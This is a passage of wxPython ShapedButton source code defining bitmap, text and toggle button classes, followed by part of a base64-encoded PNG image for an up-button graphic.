`pos`: the control position. A value of (-1, -1) indicates a default position,\n chosen by either the windowing system or wxPython, depending on platform;\n :param `size`: the control size. A value of (-1, -1) indicates a default size,\n chosen by either the windowing system or wxPython, depending on platform.\n \"\"\"\n\n self._bmpdisabled = None\n self._bmpfocus = None\n self._bmpselected = None\n\n self.SetBitmapLabel(bitmap)\n\n SButton.__init__(self, parent, id, \"\", pos, size)\n\n\n def GetBitmapLabel(self):\n \"\"\" Returns the bitmap associated with the button in the normal state. \"\"\"\n \n return self._bmplabel\n\n\n def GetBitmapDisabled(self):\n \"\"\" Returns the bitmap displayed when the button is disabled. \"\"\"\n\n return self._bmpdisabled\n\n\n def GetBitmapFocus(self):\n \"\"\" Returns the bitmap displayed when the button has the focus. \"\"\"\n\n return self._bmpfocus\n\n\n def GetBitmapSelected(self):\n \"\"\" Returns the bitmap displayed when the button is selected (pressed). \"\"\"\n\n return self._bmpselected\n\n\n def SetBitmapDisabled(self, bitmap):\n \"\"\"\n Sets the bitmap to display when the button is disabled.\n\n :param `bitmap`: a valid `wx.Bitmap` object.\n \"\"\"\n\n self._bmpdisabled = bitmap\n\n\n def SetBitmapFocus(self, bitmap):\n \"\"\"\n Sets the bitmap to display when the button has the focus.\n\n :param `bitmap`: a valid `wx.Bitmap` object.\n \"\"\"\n\n self._bmpfocus = bitmap\n self.SetUseFocusIndicator(False)\n\n\n def SetBitmapSelected(self, bitmap):\n \"\"\"\n Sets the bitmap to display when the button is selected (pressed).\n\n :param `bitmap`: a valid `wx.Bitmap` object.\n \"\"\"\n\n self._bmpselected = bitmap\n\n\n def SetBitmapLabel(self, bitmap, createothers=True):\n \"\"\"\n Sets the bitmap to display normally. This is the only one that is\n required.\n\n :param `bitmap`: a valid `wx.Bitmap` object;\n :param `createothers`: if set to ``True``, then the other bitmaps will be\n generated on the fly. Currently, only the disabled bitmap is generated.\n \"\"\"\n\n self._bmplabel = bitmap\n\n if bitmap is not None and createothers:\n image = wx.ImageFromBitmap(bitmap)\n imageutils.grayOut(image)\n self.SetBitmapDisabled(wx.BitmapFromImage(image))\n\n\n def _GetLabelSize(self):\n \"\"\" Used internally. \"\"\"\n\n if not self._bmplabel:\n return -1, -1, False\n\n return self._bmplabel.GetWidth() + 2, self._bmplabel.GetHeight() + 2, False\n\n\n def DrawLabel(self, dc, width, height, dw=0, dh=0):\n \"\"\"\n Draws the bitmap in the middle of the button.\n\n :param `dc`: an instance of `wx.DC`;\n :param `width`: the button width;\n :param `height`: the button height;\n :param `dw`: width differential, to show a 3D effect;\n :param `dh`: height differential, to show a 3D effect. \n \"\"\"\n\n bmp = self._bmplabel\n\n if self._bmpdisabled and not self.IsEnabled():\n bmp = self._bmpdisabled\n\n if self._bmpfocus and self._hasfocus:\n bmp = self._bmpfocus\n\n if self._bmpselected and not self._isup:\n bmp = self._bmpselected\n\n bw, bh = bmp.GetWidth(), bmp.GetHeight()\n\n if not self._isup:\n dw = dh = self._labeldelta\n\n hasMask = bmp.GetMask() != None\n dc.DrawBitmap(bmp, (width - bw)/2 + dw, (height - bh)/2 + dh, hasMask)\n\n\n#----------------------------------------------------------------------\n# SBITMAPTEXTBUTTON Class\n# It Is Derived From SButton, And It Is A Class Useful To Draw A\n# ShapedButton With An Image And Some Text Ceneterd In The Middle.\n# The Button Can Have 4 Different Bitmaps Assigned To Its Different\n# States (Pressed, Non Pressed, With Focus, Disabled).\n#----------------------------------------------------------------------\n\nclass SBitmapTextButton(SBitmapButton):\n \"\"\"\n Subclass of L{SButton} which displays a bitmap and a label.\n \"\"\"\n\n def __init__(self, parent, id, bitmap, label,\n pos=wx.DefaultPosition, size=wx.DefaultSize):\n \"\"\"\n Default class constructor.\n\n :param `parent`: the L{SBitmapTextButton} parent. Must not be ``None``;\n :param `id`: window identifier. A value of -1 indicates a default value;\n :param `bitmap`: the button bitmap (if any);\n :param `label`: the button text label;\n :param `pos`: the control position. A value of (-1, -1) indicates a default position,\n chosen by either the windowing system or wxPython, depending on platform;\n :param `size`: the control size. A value of (-1, -1) indicates a default size,\n chosen by either the windowing system or wxPython, depending on platform.\n \"\"\"\n\n SBitmapButton.__init__(self, parent, id, bitmap, pos, size)\n self.SetLabel(label)\n\n\n def _GetLabelSize(self):\n \"\"\" Used internally. \"\"\"\n\n w, h = self.GetTextExtent(self.GetLabel())\n\n if not self._bmplabel:\n return w, h, True # if there isn't a bitmap use the size of the text\n\n w_bmp = self._bmplabel.GetWidth() + 2\n h_bmp = self._bmplabel.GetHeight() + 2\n width = w + w_bmp\n\n if h_bmp > h:\n height = h_bmp\n else:\n height = h\n\n return width, height, True\n\n\n def DrawLabel(self, dc, width, height, dw=0, dh=0):\n \"\"\"\n Draws the bitmap and the text label.\n\n :param `dc`: an instance of `wx.DC`;\n :param `width`: the button width;\n :param `height`: the button height;\n :param `dw`: width differential, to show a 3D effect;\n :param `dh`: height differential, to show a 3D effect.\n \"\"\"\n\n bmp = self._bmplabel\n\n if bmp != None: # if the bitmap is used\n\n if self._bmpdisabled and not self.IsEnabled():\n bmp = self._bmpdisabled\n\n if self._bmpfocus and self._hasfocus:\n bmp = self._bmpfocus\n\n if self._bmpselected and not self._isup:\n bmp = self._bmpselected\n\n bw, bh = bmp.GetWidth(), bmp.GetHeight()\n\n if not self._isup:\n dw = dh = self._labeldelta\n\n hasMask = bmp.GetMask() != None\n\n else:\n\n bw = bh = 0 # no bitmap -> size is zero\n\n dc.SetFont(self.GetFont())\n\n if self.IsEnabled():\n dc.SetTextForeground(self.GetLabelColour())\n else:\n dc.SetTextForeground(wx.SystemSettings.GetColour(wx.SYS_COLOUR_GRAYTEXT))\n\n label = self.GetLabel()\n tw, th = dc.GetTextExtent(label) # size of text\n\n if not self._isup:\n dw = dh = self._labeldelta\n\n w = min(width, height)\n\n pos_x = (width - bw - tw)/2 + dw # adjust for bitmap and text to centre\n\n rotangle = self.GetAngleOfRotation()*pi/180.0\n\n if bmp != None:\n if rotangle < 1.0/180.0:\n dc.DrawBitmap(bmp, pos_x, (height - bh)/2 + dh, hasMask) # draw bitmap if available\n pos_x = pos_x + 4 # extra spacing from bitmap\n else:\n pass\n\n if rotangle < 1.0/180.0:\n dc.DrawText(label, pos_x + dw + bw, (height-th)/2+dh) # draw the text\n else:\n xc, yc = (width/2, height/2)\n xp = xc - (tw/2)* cos(rotangle) - (th/2)*sin(rotangle)\n yp = yc + (tw/2)*sin(rotangle) - (th/2)*cos(rotangle)\n dc.DrawRotatedText(label, xp, yp , rotangle*180.0/pi)\n\n\n#----------------------------------------------------------------------\n# __STOGGLEMIXIN Class\n# A Mixin That Allows To Transform Any Of SButton, SBitmapButton And\n# SBitmapTextButton In The Corresponding ToggleButtons.\n#----------------------------------------------------------------------\n\nclass __SToggleMixin(object):\n \"\"\"\n A mixin that allows to transform any of L{SButton}, L{SBitmapButton} and\n L{SBitmapTextButton} in the corresponding toggle buttons.\n \"\"\"\n\n def SetToggle(self, flag):\n \"\"\"\n Sets the button as toggled/not toggled.\n\n :param `flag`: ``True`` to set the button as toggled, ``False`` otherwise.\n \"\"\"\n\n self._isup = not flag\n self.Refresh()\n\n SetValue = SetToggle\n\n\n def GetToggle(self):\n \"\"\" Returns the toggled state of a button. \"\"\"\n\n return not self._isup\n\n GetValue = GetToggle\n\n\n def OnLeftDown(self, event):\n \"\"\"\n Handles the ``wx.EVT_LEFT_DOWN`` event for the button.\n\n :param `event`: a `wx.MouseEvent` event to be processed.\n \"\"\"\n\n if not self.IsEnabled():\n return\n\n x, y = (event.GetX(), event.GetY())\n\n if self.IsOutside(x,y):\n return\n\n self._saveup = self._isup\n self._isup = not self._isup\n\n if not self.HasCapture():\n self.CaptureMouse()\n\n self.SetFocus()\n self.Refresh()\n\n\n def OnLeftUp(self, event):\n \"\"\"\n Handles the ``wx.EVT_LEFT_UP`` event for the button.\n\n :param `event`: a `wx.MouseEvent` event to be processed.\n \"\"\"\n\n\n if not self.IsEnabled() or not self.HasCapture():\n return\n\n if self.HasCapture():\n if self._isup != self._saveup:\n self.Notify()\n\n self.ReleaseMouse()\n self.Refresh()\n\n\n def OnKeyDown(self, event):\n \"\"\"\n Handles the ``wx.EVT_KEY_DOWN`` event for the button.\n\n :param `event`: a `wx.KeyEvent` event to be processed.\n \"\"\"\n\n event.Skip()\n\n\n def OnMotion(self, event):\n \"\"\"\n Handles the ``wx.EVT_MOTION`` event for the button.\n\n :param `event`: a `wx.MouseEvent` event to be processed.\n \"\"\"\n\n if not self.IsEnabled():\n return\n\n if event.LeftIsDown() and self.HasCapture():\n\n x,y = event.GetPositionTuple()\n w,h = self.GetClientSizeTuple()\n\n if not self.IsOutside(x, y):\n self._isup = not self._saveup\n self.Refresh()\n return\n\n if self.IsOutside(x,y):\n self._isup = self._saveup\n self.Refresh()\n return\n\n event.Skip()\n\n\n def OnKeyUp(self, event):\n \"\"\"\n Handles the ``wx.EVT_KEY_UP`` event for the button.\n\n :param `event`: a `wx.KeyEvent` event to be processed.\n \"\"\"\n\n if self._hasfocus and event.KeyCode() == ord(\" \"):\n\n self._isup = not self._isup\n self.Notify()\n self.Refresh()\n\n event.Skip()\n\n\n#----------------------------------------------------------------------\n# STOGGLEBUTTON Class\n#----------------------------------------------------------------------\n\nclass SToggleButton(__SToggleMixin, SButton):\n \"\"\" A ShapedButton toggle button. \"\"\"\n pass\n\n\n#----------------------------------------------------------------------\n# SBITMAPTOGGLEBUTTON Class\n#----------------------------------------------------------------------\n\nclass SBitmapToggleButton(__SToggleMixin, SBitmapButton):\n \"\"\" A ShapedButton toggle bitmap button. \"\"\"\n pass\n\n\n#----------------------------------------------------------------------\n# SBITMAPTEXTTOGGLEBUTTON Class\n#----------------------------------------------------------------------\n\nclass SBitmapTextToggleButton(__SToggleMixin, SBitmapTextButton):\n \"\"\" A ShapedButton toggle bitmap button with a text label. \"\"\"\n pass\n\n\n\n#----------------------------------------------------------------------\nfrom wx.lib.embeddedimage import PyEmbeddedImage\n\nUpButton = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAAMgAAADICAMAAACahl6sAAAACXBIWXMAAA7DAAAOwwHHb6hk\"\n \"AAAABGdBTUEAALGOfPtRkwAAACBjSFJNAAB6JQAAgIMAAPn/AACA6QAAdTAAAOpgAAA6mAAA\"\n \"F2+SX8VGAAADAFBMVEX//////8z//5n//2b//zP//wD/zP//zMz/zJn/zGb/zDP/zAD/mf//\"\n \"mcz/mZn/mWb/mTP/mQD/Zv//Zsz/Zpn/Zmb/ZjP/ZgD/M///M8z/M5n/M2b/MzP/MwD/AP//\"\n \"AMz/AJn/AGb/ADP/AADM///M/8zM/5nM/2bM/zPM/wDMzP/MzMzMzJnMzGbMzDPMzADMmf/M\"\n \"mczMmZnMmWbMmTPMmQDMZv/MZszMZpnMZmbMZjPMZgDMM//MM8zMM5nMM2bMMzPMMwDMAP/M\"\n \"AMzMAJnMAGbMADPMAACZ//+Z/8yZ/5mZ/2aZ/zOZ/wCZzP+ZzMyZzJmZzGaZzDOZzACZmf+Z\"\n \"mcyZmZmZmWaZmTOZmQCZZv+ZZsyZZpmZZmaZZjOZZgCZM/+ZM8yZM5mZM2aZMzOZMwCZAP+Z\"\n \"AMyZAJmZAGaZADOZAABm//9m/8xm/5lm/2Zm/zNm/wBmzP9mzMxmzJlmzGZmzDNmzABmmf9m\"\n \"mcxmmZlmmWZmmTNmmQBmZv9mZsxmZplmZmZmZjNmZgBmM/9mM8xmM5lmM2ZmMzNmMwBmAP9m\"\n \"AMxmAJlmAGZmADNmAAAz//8z/8wz/5kz/2Yz/zMz/wAzzP8zzMwzzJkzzGYzzDMzzAAzmf8z\"\n \"mcwzmZkzmWYzmTMzmQAzZv8zZswzZpkzZmYzZjMzZgAzM/8zM8wzM5kzM2YzMzMzMwAzAP8z\"\n \"AMwzAJkzAGYzADMzAAAA//8A/8wA/5kA/2YA/zMA/wAAzP8AzMwAzJkAzGYAzDMAzAAAmf8A\"\n \"mcwAmZkAmWYAmTMAmQAAZv8AZswAZpkAZmYAZjMAZgAAM/8AM8wAM5kAM2YAMzMAMwAAAP8A\"\n \"AMwAAJkAAGYAADMAAADU1NTT09PS0tLR0dHQ0NDNzc3Ly8vKysrJycnIyMjHx8fGxsbFxcXC\"\n \"wsLBwcH39/f09PTw8PDs7Ozo6Ojj4+Pe3t7Z2dnX19fV1dXOzs7ExMTDw8O+vr66urq1tbWw\"\n \"sLCsrKyoqKikpKSgoKCcnJyUlJSPj4////+2FWUJAAABAHRSTlP/////////////////////\"\n \"////////////////////////////////////////////////////////////////////////\"\n \"////////////////////////////////////////////////////////////////////////\"\n \"////////////////////////////////////////////////////////////////////////\"\n \"////////////////////////////////////////////////////////////////////////\"\n \"//////////////////////////////8AU/cHJQAAIcNJREFUeNpi+D9MAEAAMQwXjwAE0LDx\"\n \"CEAA0cIjL9+8wwreA8GHGzdvvn1FA0sBAoj6HsHhCySP3Lx54y3VrQUIIGp6BOHkt2/fAgkQ\"\n \"BWKBIIpvQB76cPPmrVtUtBwggBio6o232AHYT9g8cvs21awHCCCqeOQV2LFg8AYI4Yw3EIDq\"\n \"KUTUfPhw48ONGzdvvaaGGwACiAoeeQF14hv8AN03sJgB+uTWS8pdARBAlHoE2QuvXwMROgAK\"\n \"Y/UNIqWBY4XiRAYQQJR55DVKVLzGBbDEDCL/gzwCipVbbyhyCkAAUeARhnfIkQEFr5AAVr9g\"\n \"ZBZY8gLGyh0KXAMQQAwUJyp4enqFCRD+wOsTSO0CKsTukO0cgAAi0yMvoXEBcj/UBy/BAKdP\"\n \"wKohHkHzDKSeBCYvkFfu3CGz2gcIIAayYwPuESRvQHyC8A5q0nqNvTBG88gd8mIFIIAYyPIG\"\n \"PF9APIHwBlqkvMYaI2jZHV4Mg3L87Tu373z8SIajAAKIgazoQIqNl+jg1UusKes1IotAPPMO\"\n \"pUKBe+Q2KFLI8AlAAJHqkVeQDA72BLLzX2CLEWw5nVCMgD1y5+NdUgtjgAAi0SMMkNhAigug\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\n \"<KEY>\"\n \"<KEY>cIj4C9AfUDSsEKdiEo0dy4AaE/\"\n \"gGkogPoAzPhwA8Uj2nfvaWvfA3niHhDcv0+UEwECiCiPvHqDiI4XSB55DvHIKzSPvEM0ocBO\"\n \"vHnzBrgpdQNMQwGSnyCKbsELLIgHYOD+faKGXAACiIHIShASHy+wRser17BGFCLBQPpKt3EA\"\n \"oBTMUx8gnrx5E9o4+Qj1yH0YeAAERLgSIIAYiKs9MP2BiA00f0Dj4RY0oeAAt2/dhIAbN2AN\"\n \"X6hH7mqDfAHxyEMgAHmEiEgBCCAGwtkclj+QPAH2BixzQJMUpNcKchKiJrh3TxsFQAqju3c/\"\n \"fgR6BR45EIDqkfsPHiKB+/cJDk8ABBADUf6A5o7nyB4BF7pgf8DiAlip3UJUaCDnAMMSCdy7\"\n \"<KEY>iAeeAQEEI/cJ1R4AQQQAxHFLjA+sPkDmqjgjXFg3YyICUji\"\n \"<KEY>\"\n \"Xe/AvQHyxSMUAHTOQ0iyv/8AnMjA4ONHlKzzEeaRR48eP0b1yAP8qQsggPB65DW82EWKjhdI\"\n \"qQocG5BRkNug0LwHThQgRzx58gSEkQDIYZDUAk4qkMR2T/se2DcwcBfZIzB9MC/hbUMCBBAD\"\n \"3nIX5BFocYWZzaGxASpqQd74CMwVD+4/hHrk0yc8HnkEKVaJ8cinT48hAOQTfI4FCCAG/PU5\"\n \"tNh9jpw9oKUVJHe8f38T4gvte5DU9BjkgE9A8OQJukfArnkM9RA010ByDCyh3dWG1iHg4AAa\"\n \"8xkIIGaBteFxLEAAMeDr1cKrDzSPIOXy9+9h/rhPkkdAAQz3yD3cH<KEY>zCP4KlOAAKI\"\n \"AV97F8MbKMkKlMeBjW+IJx4+gqakT6BgfAq2/xM6ePzkMTJ49BCUo6ClGbyuQfbI56fPnj2D\"\n \"+AUUMkAtOJ0LEEA4PfICVn+gegQRHeDYAFZ+4LgA+wPsWFBiwOWRJ+geQSqWtWGeQfHIM4hH\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"sgL2HoCp6j44b4DLKaAznxHwCCjzI3kCpS0FihOYR2ANHFD5Ac7tX74geQVoypMb2NwMEEAM\"\n \"OHu2mAkLXpuD6g5QfEDyBtgjz5AAdm8g53UMj8D9Au9MgUsQsMFfkH0CLr6wuRkggBjwllio\"\n \"6QoaH8BkBWqkP3gEyRuQaoOwR5BLX2I9Ak5bED98/QpPX5+x+QQggBiwNrHQa3R4eQXyx4fb\"\n \"d7TB0YGoNJ49I+wRUCsSzSOPH6FkFEgjF+SfB+BWAqiR8Bnska8g8AXmlc+fsLgaIIAYsI63\"\n \"o3sEls9B+eMGMJvfv/8I4g+QC9H9gdUj4PgAtyMf48rwcI88gETKw8fApAtMW19APoB4BZq8\"\n \"Pj/BbKsABBADrhLrFaJ/jpQ/gOXuzdsf74IKXWgex4gPXB55/BjSniXSI+AW8COIR2BxAvUL\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"4PrjHtAbj2G5g9YeAVUmoNz47BnQFzB/fIPk+GdP0XwCEEAMGOsA4IOKSCUWOKND8gcwPsCx\"\n \"QSePgGpFUHZHipFvXyG1CerqKIAAYsCaQxAl1gt4RfgB2IkCtdmffCIlNhAeQfR4cXrkPjp4\"\n \"+ADURQB5BOKP70DwDVJ2AbMJitMBAogBayPrJWwiB17yAitCYEa/B27JkeMReC8euWZHi44H\"\n \"GB55gOSRrzCPfIPm96coTgcIIAa8/ngBa2EBMwgwn2s/fAwdECDTI2hNFCI8Ago5kG3QKPmG\"\n \"5JNnKD4BCCAGtHEs2PDoC/hIA7jAen/j9kdg8xpcYIGrD9I8AvEKcR5BnlIAV4vAwh7ska/Q\"\n \"GPkOK7ueIjseIIAYcDROYJNqkBwC7NcCK/QH9x+R5RF4dgd55AmWihApg8B6JDAfgTzy6RPM\"\n \"I9AYgRXCyFECEEAMOAYcENM4kKYJsIEFSrFP0LoeRHsGtWbHEhsP4IOo2tr3kLwE9AnYI1/g\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"Hckj4KIXNDAKGmqHeuQZGR7B1l/HVuyiegLqEWAj9RHMI0Cf/EB4BcUjAAHEgJmyXiKVWJAq\"\n \"BNg0gRS9pMQHZhOFfI8Aszty2vrxA5K4gGJw5wMEEAPy5BTKghlowoLmdKBHnjz5/OwZeR5B\"\n \"GpAnyyNPYM0UkCfAAJpLvsDHggECCO6Rd2gegUcIsAr5CGpSPyalwEKtEKEtLewNRiRfaGMB\"\n \"QK8A7X4CLYC/w3wCihhwEQxzP0AAMSAv8UPyCLwqBHoE2EdHH4klwyPYW74o0YHTI/AYQY6S\"\n \"7+CCC7ZkECCAGOCbJhCrTV7CIwTSK7yrDR0sGzCPPHr8FN0jsMQFixKAAIJ75C3SshnI8itI\"\n \"oxeUQ+6BapDPT2nikfvEeOThI8iwENQjP2EeAeV3qAcAAogBo68OA6+hHrkN9gh4sIEEr6A2\"\n \"tRDTgDBfPHoAy+dITSttrOAeqIMFHk2BeuQnEIB8guIRgABC8cgr5DWvSOOK90Ctd3CnkKzi\"\n \"<KEY>vMxCXY8M8gh4eg1YGd67D6oKn1HoEbTR\"\n \"E1iFTtgj4CUdj8GjKV+/wmLkJyyXwDIJQADBPQJelIy8mhpSh4Da7/cHgUfAQ3XIHvmJ5hGA\"\n \"AGJAVCJIWQS0eAnSyrp5CzR/AOuFkFuzo/XVHyGVVjg9gJiyBmUihEe+wzzyE8UnAAEE9Qgk\"\n \"RuAp6xWsdQIbWSSpDiHJI/dJ9Mg3mEd+gj0CL4ABAgjhkTcoMQLMIW9AleGdO/fAWY0Sj6As\"\n \"wyDTI6DRG0jHHeyRX79+QRMXzCMAAYSatF6hZXXwFMLDweGRxxCPQDMJ0CO/UDwCEEDIHkEq\"\n \"s2BzhaApBNCg+OfPz8gF0LkRij3y6MnTZ7AY+QUGP8FFMLQmAQggBpR6/RU8h0CbJ3dAzRNg\"\n \"M5qcCEFMkH9GHplDH/rB5pG7yACyjA3YcAR7BJLboR75jvAIQAAxQPYJw2Lk1UuklXGw5snj\"\n \"x5R6BBonZHoE1gT+DKsSYTECye5fwHuZAAKIATmvvwIvDH85hDzyA55JAAII5JFX72DdXPhW\"\n \"HMiygA/gWh3UYIQvziA1o8PXK0AXnj0CDU2DpjvvIVWG2shr4e8irURD+AU0CPEJWLeDPAJK\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>uCfgKQfqAbhHIIugYUtpgWIghzx8As7t\"\n \"sBgB+QSWtoCeAAggLB55jeQRUAOaSh5BrgjRPIIRE+geAY+iQosteIz8hlQlUI8ABBCKR14h\"\n \"e+Q9uPAFjfNR5BGUWh2xxow0j9wFj0eBGykoMYLkEYAAwowR2HJ3SN9wMHrkB6T4BZfAcI8A\"\n \"<KEY>0DM6PGHBhq0fIryhrY3sEVgxi3uLBkgePU<KEY>8NYWQABBPPIO\"\n \"ESOv4WXWDaBHwEPIyKUWsR6B1SDwvjrS4kWwR1BigpBHwFsYwJn9GzxGEB75+hXoCYAAgnkE\"\n \"2oyH7zECNuEp9Ah07hDJIzBvoJa4KPsWcHrlHtQj0KQF9MYfsE9+/oB6BCCAUDzyGr51DZi0\"\n \"BrVHwD4BF8AwjwAEEGrSeo3Y9UWER55B1g3g8Aik4IUva0dZE4te76FsWoICBBvJI8+QY+Q3\"\n \"cowABBAss79FOoACusAM7BHQxNeTJ9gzO3oNjuyRzzg8AtmWh15zE/YIsCKBeOQrOLNDkxZS\"\n \"jAAEECJpwc7SeANdv/+BZI9gX+2A4g1oqsK7jQyPR56ieAQlRgACCOqRd0hngkD3hQxij/zC\"\n \"<KEY>\"\n \"eQZy8NPPWJb0w/IHcm1+D7Z1j5A/kD0E2UkGrEgQHgHXIpAogXsEIIB<KEY>kWAA5Fus2\"\n \"C1iyQktUcG+gOBgtMnB75AvCI2FhoCiBewQggFBjBHHGxCD2yA+sHgEIIJRSiwiPQOZsoB6B\"\n \"bBpC8QjKTiRQ/niA2EX1Eb4jlAoeCYN55DvEIwABhFxqgRMX3CM3buL2CHTaB80j2LZUITwC\"\n \"y+TYNiET45F7D558/gLzyB+ER6AxAhBAqDECLXwhHXaQR+6hegQ8OwDdaPEZXsIic5BXwiI3\"\n \"S+5+RHcs0QDFI9+gHgkDeQS51AIIIAb46XFIHnk7uD3yC5tHAAII5JH379EyCcIj0LYWbP8U\"\n \"pJcE3RaGyBJI6+MeIQ3xwuYI4ZkcvsGYLI/AxrWwewQggLB6BLp4HNyxgux1efIZaYXlpyeI\"\n \"XA1eKPMJfTMq8oAi1CPwndJI275vI9PIAHN/OCizY/cINLMDBBA2jyDnkfvQzaawBjksMp5A\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n <KEY>\"\n \"<KEY>\"\n \"XwsA750jGia3iPYITAzmkbughVZPEFkE6BEggHsEdL4QQACBJ3pgHsEWIw9I98hDengEkrQg\"\n \"HgFtHQMIIPDU201QAYx2GBnYIx+hS1oePcaanLAUubB0BWu4IycrVIdiA+gegXgGWPiCVoyB\"\n \"Gyg/gLUIMKuDIgSYtKADdCA/AAQQ2CNv0TwC2XM/+DzyFegRYIcdVPZCkhbEI/dAfgAIIMj0\"\n \"9I0b75DOHX4HPXXmNvhAovv3ifUIYq8XbNgH4pHb6B65CT0uiDiPgEa1QEvfnsJSFihhgWME\"\n \"OmQK9gJAAEE8chNaACMfKwXxCOTcGFiVh1ZCAfmwA2VQd6whJqM+whu8EAfCPQIHN5EOEUKu\"\n \"Z9A98ukpqBaBlllggOIRgACCeOTWzffwo6wRx9feAh+<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"0KWAtz68Rz/mDnQiECi7Yx4Shc0j97F4BOUcrdtopS5ejyB8BDpY6R6sLwIss+ARAvLIL6BH\"\n \"oP74DxBACI+8H7QeAc26QZrwP9E9Ak9Z/wECCLZc9gb4mD5Uj3wArTu7izgoi2KP3CLdI6Dj\"\n \"f0FbosANRmAl8geRRUDVIdAjUA8ABBDCIx/QPPIe6hHIli3YeVk4PQJfhww9mRCllQXxyG28\"\n \"MQIVRDqXDnIMHGj3PKydBa7V//799w9cH0Jmp6EeAAggmEduQqLkPeoxkLfAKfQ+7OwCLB55\"\n \"gLwQGb3o/Yg+AnQLe8GFnMuRPAECYI88fPIJNDQHap6A4+MftIGClLL+AwQQzCPA2hYeJ6ge\"\n \"gewPGhiPQMZPgA1fWDsLWqv/gzQZkT0CEEAwj7wGtRs+YPHIHegio4HxCHiKB7ya8Ru0efIX\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"xKwIPGHBPPIV7nyAAELa4opixU1Uj4D3Bz1APgsTzSOoa14hKxswJmpvY+vlYsn04FEHcB1y\"\n \"7yGkQwXpq8NyOqzBiBQh/wECCMkjb2C2wAIFfkzqXWhNQiePwIZPgBHyALRJ4StyDoF4BNqn\"\n \"<KEY>kLeBI/erERNiA+URyJzIk2dIs1Rgb0DKXtDCeOQI+Q8QQNg8ApuuRHgEujMbejTG\"\n \"A4wDM5A6U9DGIopH0FrAmL7B9AhkcufBY8hUAqwf8g85Qn4g5ZD//wECCOW0AcgwMyI2oCUP\"\n \"4nRqSKMLwyMYK1/Rl8qgD8Pj9QikAgGdjX3vwWPQpj3QeiDwkAMiQiApC9nxAAGEcnjFR5TJ\"\n \"YvhCaGSP3Id2T/B5BHPNDwkegd4MA56jevDo0xfYwDU8Qv7B+4bIEfIfIIBQjxOB+OQOymH6\"\n \"8PMssXoEY58XhR4BV16QLvZ9YFsR<KEY>j//wABRIZH7mN4BDOfgzyBaGlh8Qjm\"\n \"<KEY>\n \"<KEY>\"\n \"+oh0OLU2Yhct7T0CHf25A11mBl/SD+mnI+cQzDoEBAACCJdHPiJ5BOMgHMiR4/<KEY>w\"\n \"MTnQXUOgMIQMkaI1TVAqdXSPAAQQxtFt0PXcd7WxnJeOs5GI6hFEoYVtwQxamYXaRQerBk2K\"\n \"f0LsTPgdhih54c13dH/8BwggzMP0IO5AHDaONMhOO48gJqfAM7jgcSzINiR4mxeWsMAR8h3D\"\n \"2QABhMUjd1E8gjwqSmCPF2UeuQM9Ol8bMtiAWHONHB+w8V6MCPkPEEBYjjeEegR6EDLaIAPS\"\n \"FAjGpmdUj9wh0iOwDsNteBnzCFaB/ICOLP5D8gikxMI8lxUggLAdponYxgiadUOMMKKMV9+7\"\n \"By/N7uGs1WHewLLkAbtHwIetQ3flwjuF/9Bz+ncsrgYIIGyHsqJ6BPVMffTBd/weuXOHoEdg\"\n \"s7fQchc00fcZsSnsdxhKhIBnDX9gSVj//wMEENZjclE88vgxxuo+KnsEceUTaFUVYkvYb8gU\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"PHIfzSOwjSGwFZqw9IXNI1hHHrCs+kFawa8N3ooLPcPlB9JgHIo/fuIosUAAIIBwXknwCna6\"\n \"IJJHYFvZIIeDQCd4EPsQULYbYQ6hIHkIedkypBEBqs1hh+r8xOYPaA2C85pEgADCfUkE7OhK\"\n \"8ImG4PPb0XYXwjd6IjwCm829i3YJDzaPwLs94PmXx+D14pBzT37BVjcg1ejQhPUdp3MBAgjP\"\n \"tR1vUT3yBePYc6hvwK0w1ObKXcLbRO6ANuDCLk158gmSqr5BvIESHdBRE/B84U3crgUIIHwX\"\n \"qUCP2CbkkYcPHiDvECHdI4/hhe53aLGL7A/48A/u/AECAAGE97YYuE+QPfIV5pmnzz6DffMI\"\n \"tLQG+QQd5Fndj2h77D9CW7iQQT/QQWog0+HHsmHxxl9YfKCOY6EDgADCe9nQW1jaeop8Dv1X\"\n \"+P0AkLs0oDeJoHpEm4BHYMd7Qq4dgJ7c8gOy6egvarkLrwjx3rMNEED4r396CfYI9LQz1MPC\"\n \"<KEY>\"\n \"9QjMM89AaQy6vhmxAO0+zi4y9BRf6PGuiAPZfkL3tyBnc0i5CzmkgsB19AABROiKtFcPERdo\"\n \"QDzyDQy/Ih+t/wyxnwferHyA1E9G6SxDDiP+hBIb3yHe+I3uDXC7hJj4+P8fIIAIXlr3EhTG\"\n \"jyFH1UKjBH7K9jdErCBOE0C6swoLgLYVYLdYQI+M/QFfJ46azcMgWw0Jx8f//wABRPgawbcP\"\n \"IZ0SqN1IB59Dj3FHzf6Yp2CjAHhRDj+/F5yowN5AzuSwZAU9juY2QWcCBBAxVyaCeyVPYCka\"\n \"2R9wv6B4Bt6SwQKewiMW2RvQ1e5///1F8wc0fxDhSoAAIuqqzbfQVI3shm+gA4S/w49A/4Za\"\n \"mH3BdnDCly/IiRNy4iLk+Abomh+UVAXb54K3PkcAgAAi7vLTh5BbOuDZE3rONtwj0JOEkX2C\"\n \"4RlobQoPBuj5fjCPoFYefyEr339hHYvDCgACiMjraF9BbqqCHBeOODAcfmQt7KhqlOSGARDa\"\n \"kP0AXYEF9wWkTQI79eQbkdeCAwQQsRcEI100g8UjsKOEkbzz9RumHyB6fkBOWoQe3PAHtq4a\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"Dn5Dj8j5DfMDNElB4uMv3BPgEhfStvpGossAAohE5f/fPv70Ca12/vEd7hOQ85HCH+x8mB+A\"\n \"vvgNjwpYbCAAuKQCZw5IYfWBRIcBBBCpHoGkL/AwF6LtivAJcixAUxH0VAOUmEDyB3jbF7T6\"\n \"gzQQYXt0SAMAAUSGR/6De4xPUS4FgfoEkZx+wz3yB8Uj4M1Rf5E8A/MGOIuD8zipuQMCAAKI\"\n 